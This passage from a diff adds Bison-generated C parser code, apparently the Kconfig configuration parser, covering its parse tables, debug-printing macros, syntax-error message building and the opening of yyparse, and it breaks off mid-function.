= +{ + 0, 36, 37, 37, 38, 38, 39, 39, 39, 39, + 39, 39, 39, 39, 40, 40, 40, 40, 40, 40, + 40, 40, 41, 41, 41, 41, 41, 41, 42, 42, + 43, 44, 45, 46, 47, 47, 47, 47, 47, 47, + 47, 48, 48, 48, 48, 48, 49, 50, 50, 51, + 51, 52, 53, 54, 55, 56, 56, 56, 56, 56, + 56, 57, 57, 57, 57, 58, 58, 59, 60, 61, + 62, 62, 62, 62, 63, 64, 65, 66, 67, 68, + 68, 68, 68, 69, 70, 71, 72, 73, 74, 74, + 74, 74, 75, 76, 76, 76, 77, 78, 78, 79, + 79, 80, 80, 80, 81, 81, 82, 82, 83, 83, + 83, 83, 83, 83, 83, 84, 84, 85, 85 +}; + +/* YYR2[YYN] -- Number of symbols composing right hand side of rule YYN. */ +static const yytype_uint8 yyr2[] = +{ + 0, 2, 2, 1, 2, 1, 0, 2, 2, 2, + 2, 4, 4, 3, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 3, 2, + 3, 2, 3, 2, 0, 2, 2, 2, 2, 2, + 2, 3, 4, 4, 4, 5, 3, 0, 3, 0, + 2, 3, 2, 1, 3, 0, 2, 2, 2, 2, + 2, 4, 3, 2, 4, 0, 2, 3, 1, 3, + 0, 2, 2, 2, 3, 3, 3, 1, 3, 0, + 2, 2, 2, 3, 3, 2, 2, 2, 0, 2, + 2, 2, 4, 0, 2, 2, 2, 0, 2, 1, + 1, 2, 2, 2, 1, 2, 0, 2, 1, 3, + 3, 3, 2, 3, 3, 1, 1, 0, 1 +}; + +/* YYDEFACT[STATE-NAME] -- Default reduction number in state STATE-NUM. + Performed when YYTABLE doesn't specify something else to do. Zero + means the default is an error. */ +static const yytype_uint8 yydefact[] = +{ + 6, 0, 104, 0, 3, 0, 6, 6, 99, 100, + 0, 1, 0, 0, 0, 0, 117, 0, 0, 0, + 0, 0, 0, 14, 18, 15, 16, 20, 17, 19, + 21, 0, 22, 0, 7, 34, 25, 34, 26, 55, + 65, 8, 70, 23, 93, 79, 9, 27, 88, 24, + 10, 0, 105, 2, 74, 13, 0, 101, 0, 118, + 0, 102, 0, 0, 0, 115, 116, 0, 0, 0, + 108, 103, 0, 0, 0, 0, 0, 0, 0, 88, + 0, 0, 75, 83, 51, 84, 30, 32, 0, 112, + 0, 0, 67, 0, 0, 11, 12, 0, 0, 0, + 0, 97, 0, 0, 0, 47, 0, 40, 39, 35, + 36, 0, 38, 37, 0, 0, 97, 0, 59, 60, + 56, 58, 57, 66, 54, 53, 71, 73, 69, 72, + 68, 106, 95, 0, 94, 80, 82, 78, 81, 77, + 90, 91, 89, 111, 113, 114, 110, 109, 29, 86, + 0, 106, 0, 106, 106, 106, 0, 0, 0, 87, + 63, 106, 0, 106, 0, 96, 0, 0, 41, 98, + 0, 0, 106, 49, 46, 28, 0, 62, 0, 107, + 92, 42, 43, 44, 0, 0, 48, 61, 64, 45, + 50 +}; + +/* YYDEFGOTO[NTERM-NUM]. */ +static const yytype_int16 yydefgoto[] = +{ + -1, 3, 4, 5, 33, 34, 108, 35, 36, 37, + 38, 74, 109, 110, 157, 186, 39, 40, 124, 41, + 76, 120, 77, 42, 128, 43, 78, 6, 44, 45, + 137, 46, 80, 47, 48, 49, 111, 112, 81, 113, + 79, 134, 152, 153, 50, 7, 165, 69, 70, 60 +}; + +/* YYPACT[STATE-NUM] -- Index in YYTABLE of the portion describing + STATE-NUM. */ +#define YYPACT_NINF -90 +static const yytype_int16 yypact[] = +{ + 4, 42, -90, 96, -90, 111, -90, 15, -90, -90, + 75, -90, 82, 42, 104, 42, 110, 107, 42, 115, + 125, -4, 121, -90, -90, -90, -90, -90, -90, -90, + -90, 162, -90, 163, -90, -90, -90, -90, -90, -90, + -90, -90, -90, -90, -90, -90, -90, -90, -90, -90, + -90, 139, -90, -90, 138, -90, 142, -90, 143, -90, + 152, -90, 164, 167, 168, -90, -90, -4, -4, 77, + -18, -90, 177, 185, 33, 71, 195, 247, 236, -2, + 236, 171, -90, -90, -90, -90, -90, -90, 41, -90, + -4, -4, 138, 97, 97, -90, -90, 186, 187, 194, + 42, 42, -4, 196, 97, -90, 219, -90, -90, -90, + -90, 210, -90, -90, 204, 42, 42, 199, -90, -90, + -90, -90, -90, -90, -90, -90, -90, -90, -90, -90, + -90, 222, -90, 223, -90, -90, -90, -90, -90, -90, + -90, -90, -90, -90, 215, -90, -90, -90, -90, -90, + -4, 222, 228, 222, -5, 222, 97, 35, 229, -90, + -90, 222, 232, 222, -4, -90, 135, 233, -90, -90, + 234, 235, 222, 240, -90, -90, 237, -90, 239, -13, + -90, -90, -90, -90, 244, 42, -90, -90, -90, -90, + -90 +}; + +/* YYPGOTO[NTERM-NUM]. */ +static const yytype_int16 yypgoto[] = +{ + -90, -90, 269, 271, -90, 23, -70, -90, -90, -90, + -90, 243, -90, -90, -90, -90, -90, -90, -90, -48, + -90, -90, -90, -90, -90, -90, -90, -90, -90, -90, + -90, -20, -90, -90, -90, -90, -90, 206, 205, -68, + -90, -90, 169, -1, 27, -7, 118, -66, -89, -90 +}; + +/* YYTABLE[YYPACT[STATE-NUM]]. What to do in state STATE-NUM. If + positive, shift that token. If negative, reduce the rule which + number is the opposite. If YYTABLE_NINF, syntax error. */ +#define YYTABLE_NINF -86 +static const yytype_int16 yytable[] = +{ + 10, 88, 89, 54, 146, 147, 119, 1, 122, 164, + 93, 141, 56, 142, 58, 156, 94, 62, 1, 90, + 91, 131, 65, 66, 144, 145, 67, 90, 91, 132, + 127, 68, 136, -31, 97, 2, 154, -31, -31, -31, + -31, -31, -31, -31, -31, 98, 52, -31, -31, 99, + -31, 100, 101, 102, 103, 104, -31, 105, 129, 106, + 138, 173, 92, 141, 107, 142, 174, 172, 8, 9, + 143, -33, 97, 90, 91, -33, -33, -33, -33, -33, + -33, -33, -33, 98, 166, -33, -33, 99, -33, 100, + 101, 102, 103, 104, -33, 105, 11, 106, 179, 151, + 123, 126, 107, 135, 125, 130, 2, 139, 2, 90, + 91, -5, 12, 55, 161, 13, 14, 15, 16, 17, + 18, 19, 20, 65, 66, 21, 22, 23, 24, 25, + 26, 27, 28, 29, 30, 57, 59, 31, 61, -4, + 12, 63, 32, 13, 14, 15, 16, 17, 18, 19, + 20, 64, 71, 21, 22, 23, 24, 25, 26, 27, + 28, 29, 30, 72, 73, 31, 180, 90, 91, 52, + 32, -85, 97, 82, 83, -85, -85, -85, -85, -85, + -85, -85, -85, 84, 190, -85, -85, 99, -85, -85, + -85, -85, -85, -85, -85, 85, 97, 106, 86, 87, + -52, -52, 140, -52, -52, -52, -52, 98, 95, -52, + -52, 99, 114, 115, 116, 117, 96, 148, 149, 150, + 158, 106, 155, 159, 97, 163, 118, -76, -76, -76, + -76, -76, -76, -76, -76, 160, 164, -76, -76, 99, + 13, 14, 15, 16, 17, 18, 19, 20, 91, 106, + 21, 22, 14, 15, 140, 17, 18, 19, 20, 168, + 175, 21, 22, 177, 181, 182, 183, 32, 187, 167, + 188, 169, 170, 171, 185, 189, 53, 51, 32, 176, + 75, 178, 121, 0, 133, 162, 0, 0, 0, 0, + 184 +}; + +#define yypact_value_is_default(yystate) \ + ((yystate) == (-90)) + +#define yytable_value_is_error(yytable_value) \ + YYID (0) + +static const yytype_int16 yycheck[] = +{ + 1, 67, 68, 10, 93, 94, 76, 3, 76, 14, + 28, 81, 13, 81, 15, 104, 34, 18, 3, 32, + 33, 23, 26, 27, 90, 91, 30, 32, 33, 31, + 78, 35, 80, 0, 1, 31, 102, 4, 5, 6, + 7, 8, 9, 10, 11, 12, 31, 14, 15, 16, + 17, 18, 19, 20, 21, 22, 23, 24, 78, 26, + 80, 26, 69, 133, 31, 133, 31, 156, 26, 27, + 29, 0, 1, 32, 33, 4, 5, 6, 7, 8, + 9, 10, 11, 12, 150, 14, 15, 16, 17, 18, + 19, 20, 21, 22, 23, 24, 0, 26, 164, 100, + 77, 78, 31, 80, 77, 78, 31, 80, 31, 32, + 33, 0, 1, 31, 115, 4, 5, 6, 7, 8, + 9, 10, 11, 26, 27, 14, 15, 16, 17, 18, + 19, 20, 21, 22, 23, 31, 26, 26, 31, 0, + 1, 26, 31, 4, 5, 6, 7, 8, 9, 10, + 11, 26, 31, 14, 15, 16, 17, 18, 19, 20, + 21, 22, 23, 1, 1, 26, 31, 32, 33, 31, + 31, 0, 1, 31, 31, 4, 5, 6, 7, 8, + 9, 10, 11, 31, 185, 14, 15, 16, 17, 18, + 19, 20, 21, 22, 23, 31, 1, 26, 31, 31, + 5, 6, 31, 8, 9, 10, 11, 12, 31, 14, + 15, 16, 17, 18, 19, 20, 31, 31, 31, 25, + 1, 26, 26, 13, 1, 26, 31, 4, 5, 6, + 7, 8, 9, 10, 11, 31, 14, 14, 15, 16, + 4, 5, 6, 7, 8, 9, 10, 11, 33, 26, + 14, 15, 5, 6, 31, 8, 9, 10, 11, 31, + 31, 14, 15, 31, 31, 31, 31, 31, 31, 151, + 31, 153, 154, 155, 34, 31, 7, 6, 31, 161, + 37, 163, 76, -1, 79, 116, -1, -1, -1, -1, + 172 +}; + +/* YYSTOS[STATE-NUM] -- The (internal number of the) accessing + symbol of state STATE-NUM. */ +static const yytype_uint8 yystos[] = +{ + 0, 3, 31, 37, 38, 39, 63, 81, 26, 27, + 79, 0, 1, 4, 5, 6, 7, 8, 9, 10, + 11, 14, 15, 16, 17, 18, 19, 20, 21, 22, + 23, 26, 31, 40, 41, 43, 44, 45, 46, 52, + 53, 55, 59, 61, 64, 65, 67, 69, 70, 71, + 80, 39, 31, 38, 81, 31, 79, 31, 79, 26, + 85, 31, 79, 26, 26, 26, 27, 30, 35, 83, + 84, 31, 1, 1, 47, 47, 56, 58, 62, 76, + 68, 74, 31, 31, 31, 31, 31, 31, 83, 83, + 32, 33, 81, 28, 34, 31, 31, 1, 12, 16, + 18, 19, 20, 21, 22, 24, 26, 31, 42, 48, + 49, 72, 73, 75, 17, 18, 19, 20, 31, 42, + 57, 73, 75, 41, 54, 80, 41, 55, 60, 67, + 80, 23, 31, 74, 77, 41, 55, 66, 67, 80, + 31, 42, 75, 29, 83, 83, 84, 84, 31, 31, + 25, 79, 78, 79, 83, 26, 84, 50, 1, 13, + 31, 79, 78, 26, 14, 82, 83, 82, 31, 82, + 82, 82, 84, 26, 31, 31, 82, 31, 82, 83, + 31, 31, 31, 31, 82, 34, 51, 31, 31, 31, + 79 +}; + +#define yyerrok (yyerrstatus = 0) +#define yyclearin (yychar = YYEMPTY) +#define YYEMPTY (-2) +#define YYEOF 0 + +#define YYACCEPT goto yyacceptlab +#define YYABORT goto yyabortlab +#define YYERROR goto yyerrorlab + + +/* Like YYERROR except do call yyerror. This remains here temporarily + to ease the transition to the new meaning of YYERROR, for GCC. + Once GCC version 2 has supplanted version 1, this can go. However, + YYFAIL appears to be in use. Nevertheless, it is formally deprecated + in Bison 2.4.2's NEWS entry, where a plan to phase it out is + discussed. */ + +#define YYFAIL goto yyerrlab +#if defined YYFAIL + /* This is here to suppress warnings from the GCC cpp's + -Wunused-macros. Normally we don't worry about that warning, but + some users do, and we want to make it easy for users to remove + YYFAIL uses, which will produce warnings from Bison 2.5. */ +#endif + +#define YYRECOVERING() (!!yyerrstatus) + +#define YYBACKUP(Token, Value) \ +do \ + if (yychar == YYEMPTY && yylen == 1) \ + { \ + yychar = (Token); \ + yylval = (Value); \ + YYPOPSTACK (1); \ + goto yybackup; \ + } \ + else \ + { \ + yyerror (YY_("syntax error: cannot back up")); \ + YYERROR; \ + } \ +while (YYID (0)) + + +#define YYTERROR 1 +#define YYERRCODE 256 + + +/* YYLLOC_DEFAULT -- Set CURRENT to span from RHS[1] to RHS[N]. + If N is 0, then set CURRENT to the empty location which ends + the previous symbol: RHS[0] (always defined). */ + +#define YYRHSLOC(Rhs, K) ((Rhs)[K]) +#ifndef YYLLOC_DEFAULT +# define YYLLOC_DEFAULT(Current, Rhs, N) \ + do \ + if (YYID (N)) \ + { \ + (Current).first_line = YYRHSLOC (Rhs, 1).first_line; \ + (Current).first_column = YYRHSLOC (Rhs, 1).first_column; \ + (Current).last_line = YYRHSLOC (Rhs, N).last_line; \ + (Current).last_column = YYRHSLOC (Rhs, N).last_column; \ + } \ + else \ + { \ + (Current).first_line = (Current).last_line = \ + YYRHSLOC (Rhs, 0).last_line; \ + (Current).first_column = (Current).last_column = \ + YYRHSLOC (Rhs, 0).last_column; \ + } \ + while (YYID (0)) +#endif + + +/* This macro is provided for backward compatibility. */ + +#ifndef YY_LOCATION_PRINT +# define YY_LOCATION_PRINT(File, Loc) ((void) 0) +#endif + + +/* YYLEX -- calling `yylex' with the right arguments. */ + +#ifdef YYLEX_PARAM +# define YYLEX yylex (YYLEX_PARAM) +#else +# define YYLEX yylex () +#endif + +/* Enable debugging if requested. */ +#if YYDEBUG + +# ifndef YYFPRINTF +# include /* INFRINGES ON USER NAME SPACE */ +# define YYFPRINTF fprintf +# endif + +# define YYDPRINTF(Args) \ +do { \ + if (yydebug) \ + YYFPRINTF Args; \ +} while (YYID (0)) + +# define YY_SYMBOL_PRINT(Title, Type, Value, Location) \ +do { \ + if (yydebug) \ + { \ + YYFPRINTF (stderr, "%s ", Title); \ + yy_symbol_print (stderr, \ + Type, Value); \ + YYFPRINTF (stderr, "\n"); \ + } \ +} while (YYID (0)) + + +/*--------------------------------. +| Print this symbol on YYOUTPUT. | +`--------------------------------*/ + +/*ARGSUSED*/ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_symbol_value_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep) +#else +static void +yy_symbol_value_print (yyoutput, yytype, yyvaluep) + FILE *yyoutput; + int yytype; + YYSTYPE const * const yyvaluep; +#endif +{ + if (!yyvaluep) + return; +# ifdef YYPRINT + if (yytype < YYNTOKENS) + YYPRINT (yyoutput, yytoknum[yytype], *yyvaluep); +# else + YYUSE (yyoutput); +# endif + switch (yytype) + { + default: + break; + } +} + + +/*--------------------------------. +| Print this symbol on YYOUTPUT. | +`--------------------------------*/ + +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_symbol_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep) +#else +static void +yy_symbol_print (yyoutput, yytype, yyvaluep) + FILE *yyoutput; + int yytype; + YYSTYPE const * const yyvaluep; +#endif +{ + if (yytype < YYNTOKENS) + YYFPRINTF (yyoutput, "token %s (", yytname[yytype]); + else + YYFPRINTF (yyoutput, "nterm %s (", yytname[yytype]); + + yy_symbol_value_print (yyoutput, yytype, yyvaluep); + YYFPRINTF (yyoutput, ")"); +} + +/*------------------------------------------------------------------. +| yy_stack_print -- Print the state stack from its BOTTOM up to its | +| TOP (included). | +`------------------------------------------------------------------*/ + +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_stack_print (yytype_int16 *yybottom, yytype_int16 *yytop) +#else +static void +yy_stack_print (yybottom, yytop) + yytype_int16 *yybottom; + yytype_int16 *yytop; +#endif +{ + YYFPRINTF (stderr, "Stack now"); + for (; yybottom <= yytop; yybottom++) + { + int yybot = *yybottom; + YYFPRINTF (stderr, " %d", yybot); + } + YYFPRINTF (stderr, "\n"); +} + +# define YY_STACK_PRINT(Bottom, Top) \ +do { \ + if (yydebug) \ + yy_stack_print ((Bottom), (Top)); \ +} while (YYID (0)) + + +/*------------------------------------------------. +| Report that the YYRULE is going to be reduced. | +`------------------------------------------------*/ + +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_reduce_print (YYSTYPE *yyvsp, int yyrule) +#else +static void +yy_reduce_print (yyvsp, yyrule) + YYSTYPE *yyvsp; + int yyrule; +#endif +{ + int yynrhs = yyr2[yyrule]; + int yyi; + unsigned long int yylno = yyrline[yyrule]; + YYFPRINTF (stderr, "Reducing stack by rule %d (line %lu):\n", + yyrule - 1, yylno); + /* The symbols being reduced. */ + for (yyi = 0; yyi < yynrhs; yyi++) + { + YYFPRINTF (stderr, " $%d = ", yyi + 1); + yy_symbol_print (stderr, yyrhs[yyprhs[yyrule] + yyi], + &(yyvsp[(yyi + 1) - (yynrhs)]) + ); + YYFPRINTF (stderr, "\n"); + } +} + +# define YY_REDUCE_PRINT(Rule) \ +do { \ + if (yydebug) \ + yy_reduce_print (yyvsp, Rule); \ +} while (YYID (0)) + +/* Nonzero means print parse trace. It is left uninitialized so that + multiple parsers can coexist. */ +int yydebug; +#else /* !YYDEBUG */ +# define YYDPRINTF(Args) +# define YY_SYMBOL_PRINT(Title, Type, Value, Location) +# define YY_STACK_PRINT(Bottom, Top) +# define YY_REDUCE_PRINT(Rule) +#endif /* !YYDEBUG */ + + +/* YYINITDEPTH -- initial size of the parser's stacks. */ +#ifndef YYINITDEPTH +# define YYINITDEPTH 200 +#endif + +/* YYMAXDEPTH -- maximum size the stacks can grow to (effective only + if the built-in stack extension method is used). + + Do not make this value too large; the results are undefined if + YYSTACK_ALLOC_MAXIMUM < YYSTACK_BYTES (YYMAXDEPTH) + evaluated with infinite-precision integer arithmetic. */ + +#ifndef YYMAXDEPTH +# define YYMAXDEPTH 10000 +#endif + + +#if YYERROR_VERBOSE + +# ifndef yystrlen +# if defined __GLIBC__ && defined _STRING_H +# define yystrlen strlen +# else +/* Return the length of YYSTR. */ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static YYSIZE_T +yystrlen (const char *yystr) +#else +static YYSIZE_T +yystrlen (yystr) + const char *yystr; +#endif +{ + YYSIZE_T yylen; + for (yylen = 0; yystr[yylen]; yylen++) + continue; + return yylen; +} +# endif +# endif + +# ifndef yystpcpy +# if defined __GLIBC__ && defined _STRING_H && defined _GNU_SOURCE +# define yystpcpy stpcpy +# else +/* Copy YYSRC to YYDEST, returning the address of the terminating '\0' in + YYDEST. */ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static char * +yystpcpy (char *yydest, const char *yysrc) +#else +static char * +yystpcpy (yydest, yysrc) + char *yydest; + const char *yysrc; +#endif +{ + char *yyd = yydest; + const char *yys = yysrc; + + while ((*yyd++ = *yys++) != '\0') + continue; + + return yyd - 1; +} +# endif +# endif + +# ifndef yytnamerr +/* Copy to YYRES the contents of YYSTR after stripping away unnecessary + quotes and backslashes, so that it's suitable for yyerror. The + heuristic is that double-quoting is unnecessary unless the string + contains an apostrophe, a comma, or backslash (other than + backslash-backslash). YYSTR is taken from yytname. If YYRES is + null, do not copy; instead, return the length of what the result + would have been. */ +static YYSIZE_T +yytnamerr (char *yyres, const char *yystr) +{ + if (*yystr == '"') + { + YYSIZE_T yyn = 0; + char const *yyp = yystr; + + for (;;) + switch (*++yyp) + { + case '\'': + case ',': + goto do_not_strip_quotes; + + case '\\': + if (*++yyp != '\\') + goto do_not_strip_quotes; + /* Fall through. */ + default: + if (yyres) + yyres[yyn] = *yyp; + yyn++; + break; + + case '"': + if (yyres) + yyres[yyn] = '\0'; + return yyn; + } + do_not_strip_quotes: ; + } + + if (! yyres) + return yystrlen (yystr); + + return yystpcpy (yyres, yystr) - yyres; +} +# endif + +/* Copy into *YYMSG, which is of size *YYMSG_ALLOC, an error message + about the unexpected token YYTOKEN for the state stack whose top is + YYSSP. + + Return 0 if *YYMSG was successfully written. Return 1 if *YYMSG is + not large enough to hold the message. In that case, also set + *YYMSG_ALLOC to the required number of bytes. Return 2 if the + required number of bytes is too large to store. */ +static int +yysyntax_error (YYSIZE_T *yymsg_alloc, char **yymsg, + yytype_int16 *yyssp, int yytoken) +{ + YYSIZE_T yysize0 = yytnamerr (0, yytname[yytoken]); + YYSIZE_T yysize = yysize0; + YYSIZE_T yysize1; + enum { YYERROR_VERBOSE_ARGS_MAXIMUM = 5 }; + /* Internationalized format string. */ + const char *yyformat = 0; + /* Arguments of yyformat. */ + char const *yyarg[YYERROR_VERBOSE_ARGS_MAXIMUM]; + /* Number of reported tokens (one for the "unexpected", one per + "expected"). */ + int yycount = 0; + + /* There are many possibilities here to consider: + - Assume YYFAIL is not used. It's too flawed to consider. See + + for details. YYERROR is fine as it does not invoke this + function. + - If this state is a consistent state with a default action, then + the only way this function was invoked is if the default action + is an error action. In that case, don't check for expected + tokens because there are none. + - The only way there can be no lookahead present (in yychar) is if + this state is a consistent state with a default action. Thus, + detecting the absence of a lookahead is sufficient to determine + that there is no unexpected or expected token to report. In that + case, just report a simple "syntax error". + - Don't assume there isn't a lookahead just because this state is a + consistent state with a default action. There might have been a + previous inconsistent state, consistent state with a non-default + action, or user semantic action that manipulated yychar. + - Of course, the expected token list depends on states to have + correct lookahead information, and it depends on the parser not + to perform extra reductions after fetching a lookahead from the + scanner and before detecting a syntax error. Thus, state merging + (from LALR or IELR) and default reductions corrupt the expected + token list. However, the list is correct for canonical LR with + one exception: it will still contain any token that will not be + accepted due to an error action in a later state. + */ + if (yytoken != YYEMPTY) + { + int yyn = yypact[*yyssp]; + yyarg[yycount++] = yytname[yytoken]; + if (!yypact_value_is_default (yyn)) + { + /* Start YYX at -YYN if negative to avoid negative indexes in + YYCHECK. In other words, skip the first -YYN actions for + this state because they are default actions. */ + int yyxbegin = yyn < 0 ? -yyn : 0; + /* Stay within bounds of both yycheck and yytname. */ + int yychecklim = YYLAST - yyn + 1; + int yyxend = yychecklim < YYNTOKENS ? yychecklim : YYNTOKENS; + int yyx; + + for (yyx = yyxbegin; yyx < yyxend; ++yyx) + if (yycheck[yyx + yyn] == yyx && yyx != YYTERROR + && !yytable_value_is_error (yytable[yyx + yyn])) + { + if (yycount == YYERROR_VERBOSE_ARGS_MAXIMUM) + { + yycount = 1; + yysize = yysize0; + break; + } + yyarg[yycount++] = yytname[yyx]; + yysize1 = yysize + yytnamerr (0, yytname[yyx]); + if (! (yysize <= yysize1 + && yysize1 <= YYSTACK_ALLOC_MAXIMUM)) + return 2; + yysize = yysize1; + } + } + } + + switch (yycount) + { +# define YYCASE_(N, S) \ + case N: \ + yyformat = S; \ + break + YYCASE_(0, YY_("syntax error")); + YYCASE_(1, YY_("syntax error, unexpected %s")); + YYCASE_(2, YY_("syntax error, unexpected %s, expecting %s")); + YYCASE_(3, YY_("syntax error, unexpected %s, expecting %s or %s")); + YYCASE_(4, YY_("syntax error, unexpected %s, expecting %s or %s or %s")); + YYCASE_(5, YY_("syntax error, unexpected %s, expecting %s or %s or %s or %s")); +# undef YYCASE_ + } + + yysize1 = yysize + yystrlen (yyformat); + if (! (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM)) + return 2; + yysize = yysize1; + + if (*yymsg_alloc < yysize) + { + *yymsg_alloc = 2 * yysize; + if (! (yysize <= *yymsg_alloc + && *yymsg_alloc <= YYSTACK_ALLOC_MAXIMUM)) + *yymsg_alloc = YYSTACK_ALLOC_MAXIMUM; + return 1; + } + + /* Avoid sprintf, as that infringes on the user's name space. + Don't have undefined behavior even if the translation + produced a string with the wrong number of "%s"s. */ + { + char *yyp = *yymsg; + int yyi = 0; + while ((*yyp = *yyformat) != '\0') + if (*yyp == '%' && yyformat[1] == 's' && yyi < yycount) + { + yyp += yytnamerr (yyp, yyarg[yyi++]); + yyformat += 2; + } + else + { + yyp++; + yyformat++; + } + } + return 0; +} +#endif /* YYERROR_VERBOSE */ + +/*-----------------------------------------------. +| Release the memory associated to this symbol. | +`-----------------------------------------------*/ + +/*ARGSUSED*/ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yydestruct (const char *yymsg, int yytype, YYSTYPE *yyvaluep) +#else +static void +yydestruct (yymsg, yytype, yyvaluep) + const char *yymsg; + int yytype; + YYSTYPE *yyvaluep; +#endif +{ + YYUSE (yyvaluep); + + if (!yymsg) + yymsg = "Deleting"; + YY_SYMBOL_PRINT (yymsg, yytype, yyvaluep, yylocationp); + + switch (yytype) + { + case 53: /* "choice_entry" */ + + { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + (yyvaluep->menu)->file->name, (yyvaluep->menu)->lineno); + if (current_menu == (yyvaluep->menu)) + menu_end_menu(); +}; + + break; + case 59: /* "if_entry" */ + + { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + (yyvaluep->menu)->file->name, (yyvaluep->menu)->lineno); + if (current_menu == (yyvaluep->menu)) + menu_end_menu(); +}; + + break; + case 65: /* "menu_entry" */ + + { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + (yyvaluep->menu)->file->name, (yyvaluep->menu)->lineno); + if (current_menu == (yyvaluep->menu)) + menu_end_menu(); +}; + + break; + + default: + break; + } +} + + +/* Prevent warnings from -Wmissing-prototypes. */ +#ifdef YYPARSE_PARAM +#if defined __STDC__ || defined __cplusplus +int yyparse (void *YYPARSE_PARAM); +#else +int yyparse (); +#endif +#else /* ! YYPARSE_PARAM */ +#if defined __STDC__ || defined __cplusplus +int yyparse (void); +#else +int yyparse (); +#endif +#endif /* ! YYPARSE_PARAM */ + + +/* The lookahead symbol. */ +int yychar; + +/* The semantic value of the lookahead symbol. */ +YYSTYPE yylval; + +/* Number of syntax errors so far. */ +int yynerrs; + + +/*----------. +| yyparse. | +`----------*/ + +#ifdef YYPARSE_PARAM +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +int +yyparse (void *YYPARSE_PARAM) +#else +int +yyparse (YYPARSE_PARAM) + void *YYPARSE_PARAM; +#endif +#else /* ! YYPARSE_PARAM */ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +int +yyparse (void) +#else +int +yyparse () + +#endif +#endif +{ + int yystate; + /* Number of tokens to shift before error messages enabled. */ + int yyerrstatus; + + /* The stacks and their tools: + `yyss': related to states. + `yyvs': related to semantic values. + + Refer to the stacks thru separate pointers, to allow yyoverflow + to reallocate them elsewhere. */ + + /* The state stack. */ + yytype_int16 yyssa[YYINITDEPTH]; + yytype_int16 *yyss; + yytype_int16 *yyssp; + + /* The semantic value stack. */ + YYSTYPE yyvsa[YYINITDEPTH]; + YYSTYPE *yyvs; + YYSTYPE *yyvsp; + + YYSIZE_T yystacksize; + + int yyn; + int yyresult; + /* Lookahead token as an internal (translated) token number. */ + int yytoken; + /* The variables used to return semantic value and location from the + action routines. */ + YYSTYPE yyval; + +#if YYERROR_VERBOSE + /* Buffer for error messages, and its allocated size. */ + char yymsgbuf[128]; + char *yymsg = yymsgbuf; + YYSIZE_T yymsg_alloc = sizeof yymsgbuf; +#endif + +#define YYPOPSTACK(N) (yyvsp -= (N), yyssp -= (N)) + + /* The number of symbols on the RHS of the reduced rule. + Keep to zero when no symbol should be popped. */ + int yylen = 0; + + yytoken = 0; + yyss = yyssa; + yyvs = yyvsa; + yystacksize = YYINITDEPTH; + + YYDPRINTF ((stderr, "Starting parse\n")); + + yystate = 0; + yyerrstatus = 0; + yynerrs = 0; + yychar = YYEMPTY; /* Cause a token to be read. */ + + /* Initialize stack pointers. + Waste one element of value and location stack + so that they stay on the same level as the state stack. + The wasted elements are never initialized. */ + yyssp = yyss; + yyvsp = yyvs; + + goto yysetstate; + +/*------------------------------------------------------------. +| yynewstate -- Push a new state, which is found in yystate. | +`------------------------------------------------------------*/ + yynewstate: + /* In all cases, when you get here, the value and location stacks + have just been pushed. So pushing a state here evens the stacks. */ + yyssp++; + + yysetstate: + *yyssp = yystate; + + if (yyss + yystacksize - 1 <= yyssp) + { + /* Get the current used size of the three stacks, in elements. */ + YYSIZE_T yysize = yyssp - yyss + 1; + +#ifdef yyoverflow + { + /* Give user a chance to reallocate the stack. Use copies of + these so that the &'s don't force the real ones into + memory. */ + YYSTYPE *yyvs1 = yyvs; + yytype_int16 *yyss1 = yyss; + + /* Each stack pointer address is followed by the size of the + data in use in that stack, in bytes. This used to be a + conditional around just the two extra args, but that might + be undefined if yyoverflow is a macro. */ + yyoverflow (YY_("memory exhausted"), + &yyss1, yysize * sizeof (*yyssp), + &yyvs1, yysize * sizeof (*yyvsp), + &yystacksize); + + yyss = yyss1; + yyvs = yyvs1; + } +#else /* no yyoverflow */ +# ifndef YYSTACK_RELOCATE + goto yyexhaustedlab; +# else + /* Extend the stack our own way. */ + if (YYMAXDEPTH <= yystacksize) + goto yyexhaustedlab; + yystacksize *= 2; + if (YYMAXDEPTH < yystacksize) + yystacksize = YYMAXDEPTH; + + { + yytype_int16 *yyss1 = yyss; + union yyalloc *yyptr = + (union yyalloc *) YYSTACK_ALLOC (YYSTACK_BYTES (yystacksize)); + if (! yyptr) + goto yyexhaustedlab; + YYSTACK_RELOCATE (yyss_alloc, yyss); + YYSTACK_RELOCATE (yyvs_alloc, yyvs); +# undef YYSTACK_RELOCATE + if (yyss1 != yyssa) + YYSTACK_FREE (yyss1); + } +# endif +#endif /* no yyoverflow */ + + yyssp = yyss + yysize - 1; + yyvsp = yyvs + yysize - 1; + + YYDPRINTF ((stderr, "Stack size increased to %lu\n", + (unsigned long int) yystacksize)); + + if (yyss + yystacksize - 1 <= yyssp) + YYABORT; + } + + YYDPRINTF ((stderr, "Entering state %d\n", yystate)); + + if (yystate == YYFINAL) + YYACCEPT; + + goto yybackup; + +/*-----------. +| yybackup. | +`-----------*/ +yybackup: + + /* Do appropriate processing given the current state. Read a + lookahead token if we need one and don't already have one. */ + + /* First try to decide what to do without reference to lookahead token. */ + yyn = yypact[yystate]; + if (yypact_value_is_default (yyn)) + goto yydefault; + + /* Not known => get a lookahead token if don't already have one. */ + + /* YYCHAR is either YYEMPTY or YYEOF or a valid lookahead symbol. */ + if (yychar == YYEMPTY) + { + YYDPRINTF ((stderr, 